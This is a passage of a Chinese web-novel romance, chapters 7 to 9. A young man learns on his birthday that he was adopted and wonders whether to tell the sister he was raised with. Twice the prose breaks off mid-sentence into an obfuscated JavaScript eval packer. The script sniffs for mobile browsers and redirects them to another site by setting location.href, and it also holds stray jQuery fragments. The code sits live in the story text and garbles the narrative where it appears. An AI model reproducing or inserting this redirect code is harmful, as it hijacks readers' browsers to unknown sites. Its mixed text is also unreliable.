《并蒂樱桃》 7.我哥 这次生日宴定的餐厅在市中心,方晚他们很早就到了。 今晚来的有外婆,她,还有陈亦青的好朋友。 外婆到了没多久,就把礼物放下准备回去。 “灼灼,外婆今天不能陪你们一块吃饭了。”外婆说,“你外公还在医院里,晚上我去看看他。” 方晚有些失望地啊了声。 其实自她有记忆起,外公外婆就很少来帮陈亦青庆生。 方晚的生日他们不仅年年都到,礼物也比给陈亦青准备的要贵重很多。 这种事如果放在方晚身上,她肯定受不了。 她不喜欢被忽视,不喜欢被放到天平高高翘起的一方。 但陈亦青不在意,方晚又没法说什么。 其实仔细想想,在这个家她得到的爱远比陈亦青的多很多。 别的传统家庭都是重男轻女,他们家却是完全反过来。 除了陈海生。 方晚微微叹了口气。她是个任性的人,但不是没人性的人,想到外公的病情也只好作罢。 她有些心疼地捏着外婆的手背,“好吧,外婆你要不找个护工吧,不然你每天两头跑也挺累的。” 外婆摇头:“没事,反正我闲着也是闲着,你就安心给你哥过生日吧灼灼。” “嗯。”方晚点点头,“那外婆你一路小心,等周末我再去看外公,你们有事记得给我打电话。” “好嘞,乖啊,灼灼。” 说罢,外婆便将包装袋递给方晚。 里面装了陈亦青的礼物,不重,从包装袋和造型上来看应该是枚表。 方晚找到个位置坐下,从不远处走来一对熟悉的身影。 费醇朝她打了个招呼,“方晚。” 费醇是陈亦青的朋友。费家在A市赫赫有名,费醇本人和陈亦青也是多年好友。 他们一块念的小学,初中,高中。陈亦青为人沉默寡言,很少能见到他对谁敞开心扉。费醇算是个例外。两个人现在虽然不在一所大学,但在同一座城市。 从某种意义上来说,也算是一种缘分了。 一同而来的还有周川柏和费醇的妹妹,费语。 周川柏和费醇也认识。A市的圈子也就这么大,几家人基本从小就见过面。 方晚扬起笑脸,说了声“费醇哥好”,末了还往费语的身上打量片刻。 周川柏以为她误会了,立刻走到方晚身边,“我们是刚刚在电梯里遇到的,不是一块来的。” “我知道。”方晚不明所以,“你紧张什么。” 周川柏一噎,没立刻出声。 费醇哈哈大笑,“好啦,你们两个冤家,怎么都这么大了还喜欢打打闹闹的。” “对了方晚,你哥去哪儿了?” “不知道啊,一大早就出去了,到现在还没来。” 提到这个方晚就来气。 今天明明是陈亦青的主场,他居然能迟到。亏她特意起了个大早准备给陈亦青送礼物。 没想到陈亦青很早就出去了,还破天荒地写纸条叮嘱她,今天早上没法帮她买早点,家里有泡好的麦片,让她将就一下。 方晚皱了皱眉,看着空荡荡的二楼,突然有种说不出的失落。 这是她给陈亦青准备过的最用心的一个礼物。今年她满十八岁,陈亦青满二十一岁。 她即将走向大学,迈入另一个阶段,而陈亦青也只剩一年毕业。 他大学学的计算机,选择这门专业就是为了接手家业,留在公司。 明年也不打算深造,而是直接踏进一个更加残酷,弱肉强食的世界。 相差的这三岁像是将他们割裂成了两个世界,每当方晚以为自己离他更近一点时,哥哥却又走到了下个路口。 所以,方晚给他准备了一份新的“成人礼”以及一些有趣的小玩意。 这么好的整蛊机会,她怎么会错过呢? 想到陈亦青收到礼物的表情,方晚不自觉地勾起唇角。 心理的阴郁稍稍消散,她又攥紧了几分。 费醇先进去了,留下费语和周川柏,他们三人坐在一块。 “我最近看到你和乔舟宁的事儿了。”费语说,“你还好吗,方晚?” “还行吧,我又没做错什么。” “我知道,我相信你是清白的。”费语企图拉近和她的距离,“我看到乔舟宁后面还发了澄清帖来着。” 方晚嗯了声,突然觉得挺巧的。 她的好朋友想做她嫂子,陈亦青的好朋友却想当他哥。 这人际关系也真够复杂的。 周川柏唤来管家拿条毛毯来,“你怎么就穿这么点,不冷吗?这儿的空调还挺大的。” “还行。”方晚没拒绝,随手接过来披着。 她确实穿的很单薄,想到今天要出席这么重要的场合,所以就穿了件白色的小礼裙。 周川柏瞥了眼她精致的妆容和略低的领口,顿了顿,然后,“过两天要不要去滑雪?” “滑雪?”方晚眼前一亮,她最喜欢的运动就滑雪。 但这项运动太危险,加上方晚小时候还把鼻子摔骨折过一次,陈亦青一直不许她去玩。 她的心里被猫挠了似的痒,最终没抵住诱惑,“哪个场?” “我家下个月准备新开的。”周川柏望着她的眼,“方晚,你会是第一个去的。” 方晚没立刻给出答案,这件事要瞒着陈亦青吗?算了,还是先通知他一声吧,省得那个古板且谨慎的男人又啰嗦。 旁边一直没说话的费语道:“你家新开的?是不是北区八万平米那个。” “嗯,是的。” 费语啧啧两声。 费语比他们大一岁,和陈亦青一个学校的。虽然和方晚不是同龄人,但她自认挺了解她的。 倒不是因为其他性.癖,而是爱屋及乌。 费语很喜欢陈亦青。从小时候第一次见他就喜欢上他了。 他温柔,绅士,学业有成,待人接物也很真诚。完美的人总能吸引少女的目光,更何况是陈亦青这样有容乃大,一看就让人知道好用的帅哥呢? 方晚转过脸,又看了她片刻。 费语说:“滑雪挺有趣的,不过要注意安全,我听你哥说你以前摔断过鼻梁,还是小心点吧。” 周川柏一愣,“真的吗?抱歉方晚,我不知道。” 方晚从来没跟他说过,她的鼻子漂亮又自然,没有半点伤疤,外加假期还经常去滑雪,周川柏自然想象不到她还发生过意外。 方晚摆手,“偶尔滑几次没事,而且我现在技术比以前好多了。” 费语说:“还是要小心,年轻的时候还是要珍惜珍惜自己的身体。” “……” 方晚沉默了一会,“费语。” “嗯,怎么了。” 方晚一米七,今晚还穿了双高跟鞋,借着身高优势斜睨着她,“我哥是妹控,喜欢高的,不喜欢架子大的。” -- 从民政局出来,陈亦青低头瞧了眼手里的证明。 解除收养协议,身份证,收养证,一应俱全。 这团资料忽然变得很沉,就像这墨色的天。 陈海生今天翻出这封信是想烧毁来着。 但刚刚听了陈亦青那些话,突然又改变念头了。 陈海生没骗他,陈亦青确实不是他们的亲生儿子。 最开始他和方洋还没结婚之前就有过一个孩子,但那时方洋身体不好,自然流产了。医生说方洋子宫膜太薄,这一辈子可能都怀不上孩子了。 方洋很难过,哭了好几个月。于是两个人结婚后变到孤儿院去领养了一个孩子——正是二岁的陈亦青。 他是被人遗弃的孩子。具体是因为什么被抛弃的无从得知。总之他身体健康,还很聪明。后来被人在花坛里捡到,对方对孩子不感兴趣,便把陈亦青送到了派出所。 方洋和陈海生一开始对陈亦青都特别好,尤其是方洋,她太喜欢小孩子了,尝过失去的滋味,失而复得后更懂珍惜。 她把陈亦青当自己的亲生孩子来对待,给他买最好看的衣服,最有趣的玩具,几乎她能给的都给了。 但后来机缘巧合下,方洋居然怀孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494994|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还顺利地生下了方晚。 方洋的爱也开始有所倾斜,她不再专注于陈亦青,而是将更多的心思放在了方晚身上。 陈亦青一开始也有点失落,但方晚毕竟是自己的妹妹。 爱不是恒定的,不是只能瓜分,它也能再生。 他对方晚也很好。 后来方洋去世,这个秘密只有陈海生还有外公外婆三个人知道。 他们心照不宣地谁也没提。陈海生觉得都这个年纪了,没必要。谁能接受长久以来认定的事实忽然被打破?自己原来一直活在一个巨大的骗局里呢? 他早就把陈亦青当做这个家的一份子了,说出来还不免生出嫌隙,破坏了彼此的感情。 陈海生没提,外公外婆自然也没说。 没有一个人知道这件事在什么场合,什么时间公开最合适。 但今天陈海生改变了主意。 他必须要告诉陈亦青了。 他在这个家兢兢业业待了这么多年,为的就是得到自己应该得到的。好不容易妻子去世,他可以扩张自己的势力,他怎么可能允许有人站在道德制高点批判他? 他需要的,是一个强大的帮手,一个聪明的,可以为他所用的养子。 而不是现在这个站在他面前咄咄逼人,还指手画脚的儿子。 陈海生拍拍他的肩膀,“我知道这件事对你来说很残酷,但是,儿子,这是事实。” “你早晚都会面对的。” “爸爸选择在今天告诉你,也是希望你能更强大,你别恨爸爸。” 陈亦青没说话,连个敷衍的“嗯”也没呼出。 穿梭在车水马龙里,两面的风景向后倒退,道路从轮胎下延伸,雾蒙蒙的,像无尽的虹。而这条虹不知从何时倒了过来,他们行驶在上边,通往另一个星光黯淡的天。 很快就到达了目的地。 车只能停在不远处的停车场,他们还需要走一段路才能到大厦。 昨晚刚下了一场雨,脚下湿润。陈亦青稳稳当当地走在路上,盯着前面一小片湖泊。 地砖往下陷,湖泊有了裂痕,映出陈亦青好几瓣畸形的脸,走过时折射出的五彩斑斓的光也像碎玻璃,明晃晃的,悬在颈侧。 他不知道该怎么形容自己现在的感情。 意外,迷惑,还是说,怨恨? 好像该有的情绪他都没有,世界短暂地进入了电影白屏的瞬间。他的人生第一次遇到了这种情况。好多疑惑的问题都得到了解答。 难怪小时候总有人开玩笑,说他“基因突变”,和爸爸妈妈一个都不像。难怪妈妈在生了妹妹后对自己的关心大大减少,难怪外公外婆看他的眼神总是那么疏离……原来,原来是这样。 他的身世就是场谎言,所有的经历,关系,甚至整个人,都是从这个谎言源源不断延伸出来的。 最关键的是,就连他和方晚的感情也是。 方晚知道吗? 她如果知道,她会怎么看他呢? 她会照旧把他当做哥哥,还是当做一个来历不明,被人抛弃,需要依赖她家而活的男人? 陈亦青觉得喘不上气,抬起手看时间时,发现自己的手指正巧压在文件那行字上。 ——本人乔洋真诚领养陈亦青为养子,不遗弃不虐待被收养人,抚育被收养人健康成长,幸福安康。 妈妈的字总是很娟秀,又很有力量的。 到大厦了。 陈海生停下来:“我今晚还有事,你先进去吧。” “玩得开心点,祝你生日快乐,亦青。” 陈亦青沉默了好一阵子,忽然开口:“爸,妹妹知道这件事吗?” “你说灼灼吗?她当然不知道。” “好。”陈亦青抬起眼睫,“那你先别告诉她。” “……我想,自己跟她说。” 陈海生透过霓虹看他,神色晦暗不明。 良久才道:“好。” 陈亦青点点头,缓慢地拉开拉链,转身把文件放到包里。 他走进流金溢彩的高楼大厦,却像是没入另一种黑暗。 8.我哥 方晚打到第十个的电话时,终于拨通了陈亦青的电话。 方晚心急如焚地:“喂,哥,你到了吗?” “马上。” “马上是多久?大家人都来齐了诶。” 方晚很诧异,陈亦青是个时间观念很强的人,从来没迟到过。 作为主角久不见人影算了,就连她打去的电话也一个不接。 有些不好的念头浮现,方晚紧张道:“哥,你该不会路上出什么意外了吧?” 意外? 陈亦青抿着唇,细细地品味这个词。 嗯,好像也可以称之为“意外”。 “叮”的一声响,电梯抵达。 陈亦青抬头看了眼猩红的数字,扔下句“上电梯了”便挂断电话。 方晚:“?” 她艰难地挪开手机。 陈亦青刚刚这是……挂她电话了? 周川柏看出她的不对劲,“怎么了方晚?” “……没什么。”方晚顿了顿,“对了,你给我哥带礼物了吗?” “当然带了。”周川柏也不知道她突然问这个干什么,但既然方晚发话了,他照办就是。 他从管家手里拎过一个包装盒递给她。 方晚无情地劈手夺过,“我一会帮你转交。” 周川柏愣了愣。 掌心原先的重量倏地变轻,心却空了一块。 他蜷着手指,很轻地叹了口气。 没过多久,电梯上来了。 金属门徐徐拉开,陈亦青出现在走廊尽头。 他今天打扮得很好看,TF青果领西装裁出男人挺拔的身形,领结则是鲜艳的宝蓝色。虽然总体颜色仍是黑色,但已经比平时的打扮明媚很多。 男人手臂垂在两侧,每一步都如此矜贵雅致。 方晚常常在想,陈亦青为什么总打扮得这么成熟? 他才二十出头,正值青春年华。皮肤冷白而无瑕,身材也是完美的黄金倒三角。要是穿些色彩清新的衣服,肯定要比很多明星都好看时髦。 真是浪费颜值。 不过今天凭他这身打扮,方晚可以选择性地忘掉刚才的不愉,哥哥可能遇到了工作上烦心的事儿了所以才挂她电话的吧……没事,只要他安全出现就好。 她现在该做的,是将面前一幕牢牢铭记。 她的哥哥,陈亦青,是世界上最好看的男人。 “你可终于来了,哥。”方晚亲昵地挽着他的手臂,“快进去吧,客人们都等着呢。” 陈亦青嗯了声,没动。 方晚没察觉到男人身上微妙的情绪,自顾自地拿过礼物,“对了哥,这是周川柏送你的礼物。” 陈亦青瞥了眼礼物的主人,周川柏神色不佳,但还是笑着和他打了个招呼。 陈亦青抬手接过,客气地说了声“谢谢”。 方晚眼前一亮,“哥,我的……” “先进去吧。”陈亦青二度打断她,冷淡道,“宴会快开始了,别再迟到了。” -- 生日宴的主人到了,宴会自然也就开始了。 今年是陈海生定的地儿,人也是陈海生邀请的。除了以往每年都能见到的旧友,还来了不少A市的达官显贵。 费醇端着酒杯过来,“怎么这么晚才到?不像你的作风啊。” “我的作风是什么?”陈亦青面无表情地,“把烟拿远点。” 费醇挑挑眉,从嘴里把COHIBA拔下,往白兰地里一塞,“你这小子,不懂欣赏,这可是上好的雪茄。” 费醇说到一半,转念一想,“对了,亦青,你还没抽过雪茄吧?” “要不试试?反正你妹不在。” 他们这群少爷最喜玩乐。抽烟,喝酒,打高尔夫,更是无足轻重。 不过陈亦青从来不参与,搪塞的理由还是“妹妹不喜欢”。 费醇真是搞不懂了,陈亦青都多大岁数了?怎么抽根烟爸妈不管,妹妹管? 想到刚才费语给自己告的状,费醇不由地加重疑虑。 啧,难道陈亦青真是…… 陈亦青跟有读心术似的,冷冷地睨他,“麻烦收回你恶心的念头。” 费醇眯了眯眼,“我还没说呢,你怎么就先不打自招了?” 陈亦青身形一顿。 过了好一会,才把目光别开。 正巧,也撞上了不远处正在看他的方晚。 方晚和周川柏待在一块。 宴会开始后,她没靠近过他,眼神却没离开过他。 费语则借着费醇的关系不断往陈亦青身上靠。她今天穿的本来就很清凉,借着酒醉和朋友妹妹的名头,简直是快把胸给贴到陈亦青的身上了。 费醇也没管,还打趣陈亦青要不以后结成一家人算了。 陈亦青似乎说了什么。可他背对着她,方晚看不清他的回答。 什么一家人。 经过她同意了吗? 谁要和这个抽雪茄的臭男人结成一家人了??? 方晚眼里的温度一点一点降低,期间有另外一个女生过来想跟周川柏要联系方式。但周川柏立刻摆摆手,说了声抱歉,对方也识趣地离开了。 甜腻的嗓音将她短暂地拉回眼神,方晚盯着周川柏看了好一阵子。 周川柏被看得不自然,以为她这是吃醋,心里忍不住升上一丝窃喜,“怎么啦?” 方晚冷冰冰地说:“你们男人都这样吗?” “……” 周川柏呼吸一窒,心像忽然被浇了盆冷水冷了下去。 他毫不遮掩的,“方晚,你是不是因为和你哥吵架,所以现在不高兴说这些?” 方晚攥紧手指。 己所不欲勿施于人这个道理陈亦青从小就教。她知道拿别人出气是不对的,可那又能怎么办呢?她现在心里很不是滋味,必须发泄出来。 周川柏继续说:“方晚,我知道你等你哥等了很久,他不理你你很难过。” “但你有想过我吗?” “我也是一个活生生的人,这些年来我一直在追逐你,你为什么看不到呢?” “你的眼里……为什么从来都只有你哥……” 周川柏的情绪越来越激动,但那种激动抵达了最高点后又轰地沉下来。 他自己也没想到筹划了这么久的告白会在这样的场合发生。明明设想的是在滑雪场,在那个冰天雪地,浪漫的世界,他手捧她最爱的玫瑰出场。绝非此刻针锋相对的情景。 可他也有感情。 的确无法再忍耐。 方晚却冷笑一声,态度很坦然,“怎么,听你这意思,是想说我自私?” “还是想说我把你当出气筒,就是个恋.兄的变态?” 周川柏立刻解释,“方晚,我不是这个意思,我……” “好了,你不用说了。” 方晚叫停了,她别过脸,仰头灌下一杯烈酒。 -- 点了蜡烛,吃了蛋糕,宴会差不多十一点就结束。 方晚和陈亦青一块坐车回去。 两个人坐在后座,却没有一个人主动开口。 车内陷入前所未有的死寂,回家的路上经过阑江,夜晚江风习习,却又如此冰凉。往常两个人早就打打闹闹起来,陈亦青会指责她不该喝这么多酒,方晚则撒撒娇,敷衍过去。 可什么都没有发生。 空气过分静谧,只能听到方晚口袋里的蜂鸣。 她知道是周川柏的电话,但她不想接。 即便遭到拒绝,周川柏仍锲而不舍地一个接一个打。 陈亦青置若罔闻,打到最后还是方晚恼了先行挂断。 屏幕里渗出的光短暂地照亮她半边脸,她现在的表情很生动,眉毛拧得紧紧的,眼神也异常冷冽。 陈亦青静了会,“抱歉。” 他突然的一句道歉打了方晚一个措手不及,但她还是维持住了体面,冷哼一声,把脸别开。 陈亦青继续说:“今天爸爸找我商量点事,外加最近很累,所以对你说话重了点。” “别生气了。” “陈海生?”方晚立刻提高音量,“他找你说什么了?” “那老头是不是又拿公司说事了?” 陈海生这吸血的资本家,连自己的儿子都不放过。一边说着不能搞特权,让陈亦青当个小实习生,一边又经常把各种各样的事儿推到他身上,说是“锻炼”。 原来陈亦青今天迟到和心情不好都是那老头害的。 陈亦青盯着她有些愤怒和担忧的脸,没有说话。 其实,他早有预感。 他早有预感,自己不是这个家里的一员。 别人调侃他和方晚简直两模两样倒不算什么,关键是血型。小学有次体检,陈亦青测出是B型血。而方洋,陈海生都是A型血,方晚也是。 一开始他并不知道这意味着什么,初高中生物也不教这些。 可随着年岁渐长,学到的东西越来越多。这些端倪像潘多拉的魔盒,以毁灭的姿态,排山倒海地摧残他的生活。 但是。 他选择视而不见。 选择……什么也不清楚。 人的天性是恋旧的。贪恋现在的温存,不愿脱离安全区与舒适区。在这个家里,陈亦青感觉到了浓郁的温暖与幸福。这种幸福仿若温水煮青蛙,让人便钝,将自我麻痹的谎言信以为真。 如果不是陈海生戳破泡沫,他都快要以为自己真是这个家的成员了。 陈亦青看着车窗里的自己。突然想起来方洋有个表哥,对方的孩子和他们是同龄人,名字叫阿远。 表哥一家还没离婚的时候,阿远经常来他们家玩。他和他们一样,都是从小在爱里长大的孩子,天性开朗活泼。 可后来父母离婚,阿远就跟变了跟人似的。 他不再来陈亦青家玩了,上周陈亦青遇到他,他人变得很沧桑。 “你知道吗,亦青?我从来没想过我爸妈会因为感情离婚……从小我们一家就到处去旅游、度假,家里没请保姆,都是我们一家三口一起做饭,爸爸负责擀面皮,妈妈负责和馅,我负责包饺子,甚至小学时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507625|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我写不完作业还是他们一起帮我写。” “他们对我这么好,不管我做什么都支持我,说‘只要有爸爸妈妈在,你就大胆去做,你背后还有我们呢’。” “结果呢……他们离婚了……我妈嫌我是拖油瓶,我爸现在也瞧我不顺眼……” 陈亦青想安慰他,却不知道说什么。陈海生现在的所作所为虽然恶心,但至少方洋在世的时候装得天衣无缝。他们一家幸福,美满,甜蜜得连陈亦青这个当事人都会嫉妒。苦心维持和谐的假象,大概也是因为如此。 至于方晚。 陈海生野心勃勃,方晚早晚会成为牺牲品。 如果到时候她知道他不是她哥,只是一个外人,她的境遇会多糟糕呢? 陈亦青不敢想。 他也不愿意让方晚二度感受到这种痛苦。 陈亦青紧紧地闭着眼。过了会有些勉强地勾起唇角。 他拍拍她的脑袋,“没有,你想多了。” “什么也没发生,灼灼,和我一起享受最后的时间吧。” 陈亦青温柔地望着她,“还有几分钟,我就二十二岁了。” 方晚一噎,满腹的牢骚都发泄不出来。 “……好吧,陈亦青。”方晚说,“看在今天是你生日,外加呢,你是我哥的份儿上。” “我就勉为其难地原谅你喽。” 陈亦青一笑,“谢谢妹妹。” 兄妹俩冰释前嫌,前前后后冷战不过两个小时。平时还会更短,哥总是那个先道歉的人,所以每次吵架他们都和好得很快。 方晚往后一仰,靠在他的肩膀上,“哥,你是不是还忘了什么。” “什么。” “向我要你的礼物啊。”方晚嘟着嘴,“人家准备了很久呢……从半年前就开始了……” 陈亦青挑眉,“什么礼物?” 半年前就开始准备……别告诉他,又是什么奇奇怪怪的男性用品。 “嘘!别说话!还有十秒钟。”方晚忽然扑上去,蒙住他的眼睛。 手掌带着酒香和木质香,温热的,覆在他的眼瞳上。他每眨一次眼睛,睫毛就挠一下她的掌心。 方晚心跳了下,以至于倒数都差点出了岔子。 “九、八……” “不许偷看!我已经拉开车门了,下车吧。” “……三、二、一。” “surprise!” 随着少女最后一声好听的英文,阑江对面升起漂亮的烟花。 一缕光线升上夜空,然后轰然爆开。好像那晚的江水,星辰,都不期而遇。 他看到烟花向两边抛出漂亮的弧线,勾出璀璨的羽翼。 江边有很多人都围在一起观看,众人艳羡不已的同时,旁边那三栋最高的大厦依次亮了起来。 一个一个红色的字符间隔两秒,慢慢浮出,用陈亦青最爱的小楷写道: ——祝我哥生日快乐,岁岁年年,万喜万般宜。 ——妹,灼灼敬赠。 这份礼物她花了很长时间准备。 CBD大楼寸土寸金,连屏幕广告也是。一分半就要花上好几万,方晚攒了好一段时间的钱,外加自己多年来的积蓄统统打包才勉强凑齐这三面大屏的五分钟。 她喜欢烟花,陈亦青也喜欢。 年兽的故事让幼稚的小孩难免恐惧。可方洋认为烟花危险,总是不许他们玩。方晚偏不,她害怕畸形的怪物,所以小时候每次除夕夜,她都会搂着陈亦青的腰,缠着他买仙女棒。 陈亦青当时盯着她的手。那双平时用来捣蛋,惹他生气的手,此刻正牢牢地握住他的手掌。 她的手是这么的小,只有他的二分之一。 她一根一根掰他的手指,委屈巴巴地,“哥,拜托。” 陈亦青拗不过她,她也知道只要哥哥不扔开她的手就代表他心里有所动摇,她笑嘻嘻地说着谢谢,他只好偷偷带她去买。 仙女棒点燃的瞬间,尖端迸发出灿烂明媚的火花,寻常的火在次次啦啦的声音里变得粒粒分明。方晚兴奋地蹦蹦跳跳,陈亦青却格外老成地握住她的手。 宽大的手掌整片覆盖下来,带着温热和浓重的硝味儿,阻隔蹦出的火花。 小时候他保护她。长大后,她也能做他坚不可摧的铠甲。 他们兄妹俩,本来就是相互支撑长大的。 …… 现实的钟声将二人拉回现实。 十二点了。 他美好的二十二岁生日,也在此刻谢幕。 方晚得意洋洋地笑道:“喜欢吗,哥?” 陈亦青沉默了会,“喜欢。” “非常,非常,喜欢。” “那就好。”方晚说。 他总是一丝不苟的发型在此刻破了戒。江风拂过男人额前的碎发,陈亦青在她看不见的地方,稍稍攥紧手指。 陈亦青忽然叫住她:“方晚。” “嗯?”她转过脸,那一瞬间,好像所有光都在她脸上收束。 陈亦青深吸一口气,“如果我不是你哥,怎么办?” 9.我哥 方晚眨眨眼,有些疑惑地盯着陈亦青。 “你在说什么,哥?”方晚笑道,“别告诉我你今年的生日愿望是变幽默啊。” “当然不是。” “那你许的什么?” 江面波光粼粼,幽冷的光一帧一帧折射在他的脸上。 陈亦青望向别处,“秘密。” 陈亦青声音不大,喧嚣里每个字依旧清晰。 方晚则皱了皱眉。秘密?什么时候她这个哥对她也有秘密了? 她不懂今天陈亦青怎么这么奇怪,说一堆无厘头的话也就罢了,问到关键之处,还用秘密来搪塞。 方晚有点不爽,但想到今天是他生日,陈亦青毕竟也是个成年男人了,有点自己的私事也很正常,只好悻悻作罢。 她说:“好了,打住,陈亦青先生,你跟你可爱的妹妹开这种玩笑,可不是什么好事哦。” “方晚。”陈亦青走近几步,身上丝丝缕缕的木质香扼住她的呼吸,“我认真的。” 望着他幽奥的眸子,方晚上扬的唇角一点点沉下来。 陈亦青不是一个喜欢开玩笑的人,他为人古板,无趣,不擅长逗弄的话。通常情况下不会做出毫无意义的假定。可他此刻为什么要一而再,再而三地说这种话? 除了开玩笑,方晚找不到第二个原因。 但陈亦青的眼神和态度都在笃定告诉她,我是认真的。 请正视我所有的问题。 方晚意识有些混乱了,陈亦青这个问题很早之前她就做梦梦到过。梦里陈亦青不是她哥,而是一个陌生人。曾经十多年的感情只有她一个人记得,她追在他身后,哭得伤心又狼狈,陈亦青自始至终没有回头看她一眼。 这种滋味实在太难受了,即便是做梦她也无法接受。 方晚:“哥,是我送的礼物你不喜欢吗?” 陈亦青立刻否认,“不是。” “那你怎么突然问这种问题。”方晚敛声,“哥,别跟我开玩笑。” “我不喜欢。” 江风从东面吹过,掀起少女飞扬漆黑的发丝,在晦暗的光里,每一根发丝都在羽化发光。他看着她慢慢地抱住双臂,思考时微微蹙起眉头,看上去认真又迷人。 认真会赋予人别样的魅力,他的妹妹尤其。 有一种怪异而矛盾的气氛横亘在二人之间,彼此都清晰地感受到了。 烟花放完了,大屏幕上的广告词也迅速来到下一站。 陈亦青默了片刻,然后拉开车门,“走吧,回家了。” -- 生日宴后,方晚接到了私家侦探的电话。 那天在商场里遇到乔蓉让她起了疑心,她很好奇,乔蓉是不是真的怀孕了。 两个人有一腿已经八九不离十了,从陈海生躲闪的态度,乔蓉炫耀的眼神,方晚猜到他们早就好上了。 可依照乔蓉那性子,在方晚面前她都能超不经意露出怀孕的证据,在公司应该更是。方晚托关系明里暗里问了好几个人,大家对此都一无所知。 瞒同事不瞒情夫的女儿?这可不像是一个第三者的正常操作啊。 于是方晚托之前那位私家侦探继续调查,又找到了不少线索。 辛重将照片依次摊开,“方小姐,这是我最近拍到的照片,您看。” 辛重是她无意间结识的一个朋友。他是从公.安大学毕业的,以前还是某支队的副队长,后来因为一些事离职了。 人都是要吃饭的,离开后他自立门户开了个侦探社,规模不大,手底下的人加上他,拢共也就三个。 但俗话说得好,三个臭皮匠顶个诸葛亮,他们的能力可一点也不弱。 和上次的一样,辛重拍到了好几张陈海生和乔蓉一块出入酒店的照片。吵完架,陈海生出差去巴黎的时候也带了乔蓉,两个人明面上定的是两间房,实际后半夜乔蓉又偷偷敲了陈海生的门。 他们同住一室,一直到第二天才出来。 方晚气得牙痒痒,她想到了最开始收集到的证据。这两个人从以前就开始了,妈妈生病住院的时候,陈海生也借口如此过。 更恶心的是,在她高考前一周她还收到了一张照片。 那张照片的主角依旧是这对奸夫□□,但陈海生看上去和现在的样貌相距甚远,很像年轻时拍的。 两个人手牵手,乔蓉的另一侧还拽着个小女孩。 方晚当时看到后心态大崩,她完全不知道该怎么办,下意识地找到陈亦青,把这些事儿一五一十全告诉了他。 陈亦青安慰她叫她先别管这些,有什么他来处理,还把她的手机没收了。 即便如此方晚还是受到了不小的影响,高考时好几个平时从来不会错的题都出现了纰漏。 ……他们到底是什么时候开始的? 方晚忍着恶心,俯身,捻起其中一张。 “所以,乔蓉应该没怀孕?” “我那天遇到她的时候,她穿了件衬衫,没显怀,如果真怀孕了月份应该不大。” “不大的话乔蓉应该会更小心,不会半夜了还找我爸做那种事吧?” 辛重说:“有时候男人和女人睡一张床,也可能什么事儿都不会发生的。” 他一脸淡定,像个经验丰富的情场浪子。 “你信吗?”方晚嗤笑一声,“这件事发生在别人身上我倒是相信,但绝对不可能发生在陈海生身上。” 辛重耸了耸肩,慢条斯理地吐了口烟,“或许吧。” 辛重陡然笑了起来,“方小姐,我看你年纪也不大,说话怎么这么早熟?” 方晚不屑地轻嗤,“辛先生,如果你家也遇到了这种事,我想你恐怕比我更早熟。” 辛重一顿,堆了厚厚一截的烟灰断了。 助手小李敏锐地察觉到不对劲,立刻打圆场c把东西都收起来,“好了好了,不说了,方小姐你放心,后续我们会继续跟进的,你先回去吧,有别的信息我会再通知的。” 方晚拦住小李,“等等。” “……我还有件事儿想问问。” 辛重:“方小姐请说。” 方晚沉默了一阵子,“有点深奥。” 辛重拍拍胸脯,“没关系,大胆说,不棘手的案子我们还不接。” 方晚又说:“那会保密吗?” 辛重:“当然,方小姐你可以怀疑我的工作能力,但请不要怀疑我的专业素养。” “好吧。”方晚深深地吐了口气,“……是关于男生的。” “?” 辛重挑眉,此刻方晚俨然没了刚才那种张牙舞爪的小妖精劲儿。辛重如果没看错的话,她的脸上呈现出一种古怪的严肃和难为情。 没错,难为情。 辛重从来没在她身上见过的稀缺品。 小李忍不住笑了,“方小姐你也是,刚刚说的那么可怕那么认真,我还以为真有啥大事要委托呢。” “没想到是关于男人啊,怎么啦?您最近谈恋爱了?” “怎么可能。”方晚立刻否认,“我哥不准我谈恋爱的。” 小李听得更是哭笑不得了。 没想到天不怕地不怕的方小姐也有软肋。她这哥是唐僧还是怎样的狠角色啊,居然能降住她。 辛重摆摆手,“可以。” “但那是另外的价钱。” 方晚爽快道:“我知道。” “那请继续说下去。” 方晚想了想,“其实也不是什么大事。而且这件事也不是关于我的,是关于我一个朋友的。” “是我朋友拜托我问的。” 辛重:“嗯,我知道了,是你的朋友。” “我朋友有个关系特别好的弟弟,有天她弟突然跟她说,假如他们不是姐弟怎么办?” “你说她弟弟问这个问题是什么意思?” 以防掉马,方晚将这个故事圆了又圆,还非常细致地把关系都重新整理了一遍。 那天和陈亦青对完话以后,方晚就在反反复复想这件事,她还在纠结,陈亦青到底是出于什么目的才问的。 无奈前段时间和周川柏关系闹僵了,身边又没其他男性朋友可问,所以她只好花钱付费咨询。 辛重还会保密,这钱花得挺值当。 辛重下意识道:“整蛊吧。” “不可能,她弟弟特别严肃,从来不开玩笑的。” “那就是在说实话喽。”辛重说,“有可能他们本来就不是姐弟,她弟弟只是在说这句话试探她。” “试探什么?” “试探这个姐姐,如果知道他们不是姐弟,她会不会喜欢他。” 方晚瞪大了眼,“?” 试探? 喜欢? 这两个词都是中文,但连在一起方晚突然觉得读不懂了。 她不敢想象,如果陈亦青真的像辛重这么说,喜欢她,为了得到她的回应而试探她,后果将会是什么。 陈亦青不是她哥? 不可能吧,别开玩笑了。 这是现实生活,又不是某江小说,怎么可能这么狗血? 